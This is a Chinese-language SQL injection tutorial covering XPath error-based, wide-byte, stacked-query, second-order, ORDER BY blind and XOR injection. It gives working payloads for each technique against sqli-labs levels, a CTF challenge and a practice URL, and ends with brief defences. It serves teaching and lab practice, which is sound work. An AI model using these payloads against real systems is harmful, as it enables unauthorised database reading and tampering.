原理+实战掌握SQL注入
字数 935 2025-08-25 22:58:35
SQL注入攻击原理与实战详解
一、XPath报错注入
原理分析
XPath报错注入利用MySQL的两个XML处理函数:
updatexml():对XML进行查询和修改extractvalue():对XML进行查询
关键函数:
extractvalue(xml_str, Xpath) # 从XML字符串中提取值
updatexml(XML_document, XPath_string, new_value) # 更新XML文档
报错原理:
当构造不合法的XPath语法时,MySQL会报错并显示XPath内容。通过特殊字符(如0x7e即~)触发报错。
实战示例
select extractvalue(1, concat(0x7e, user(), 0x7e));
select updatexml(1, concat(0x7e, version(), 0x7e), 1);
注意事项:
- 报错信息长度有限制,过长会被截断
- 查询同一表时需要嵌套SELECT避免错误
实战案例(sqli-labs 17关)
uname=admin&passwd=1' or updatexml(1, concat(0x7e, database(), 0x7e), 1)#
二、宽字节注入
原理分析
产生条件:
- 数据库使用GBK等宽字节编码
- PHP使用UTF-8编码
- 使用了转义函数(addslashes/mysql_real_escape_string)
绕过原理:
将转义符\与前一个字符组合成汉字,使引号逃逸。
实战示例
id=1%df' and 1=1%23 # %df与\组合成汉字"運"
实战案例
- 测试URL:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' - sqli-labs 32/33关
三、堆叠注入
原理分析
利用分号;执行多条SQL语句。受限于:
- API或数据库引擎支持
- 执行权限
实战案例(强网杯"随便注")
1'; show databases; #
1'; show tables; #
1'; show columns from `1919810931114514`; #
1'; RENAME TABLE `words` TO `words1`; RENAME TABLE `1919810931114514` TO `words`; ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100); #
四、二次注入
原理分析
两个阶段:
- 插入恶意数据(被转义)
- 引用恶意数据(未转义)
实战案例(sqli-labs 24关)
- 注册用户
admin'# - 修改密码时SQL变为:
UPDATE users SET passwd='123' WHERE username='admin'#' AND passwd='$oldpwd'
五、Order By注入
原理分析
利用ORDER BY子句可控,通过条件函数实现注入:
IF()CASE WHENIFNULL()- 报错函数
注入方法
- 布尔盲注:
?sort=if(ascii(substr((select database()),1,1))>100,1,2)
- 时间盲注:
?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
- 报错注入:
?sort=1 and (updatexml(1,concat(0x7e,(select database())),0));
实战案例(sqli-labs 46关)
?sort=rand(ascii(substr((select database()),1,1))>127)
六、异或注入
原理分析
利用异或运算(^或xor):
- 相同为假(0)
- 不同为真(1)
- 与NULL运算结果为NULL
实战应用
检测过滤字符:
?id=1'^(length('union')!=0)^'1
- 回显正常:字符被过滤
- 回显错误:字符可用
防御措施
- 使用参数化查询
- 统一字符编码
- 最小权限原则
- 输入严格过滤
- 错误信息处理
总结
SQL注入方式多样,核心在于理解数据库查询机制和特殊函数的使用。掌握这些技术有助于提升Web安全防护能力。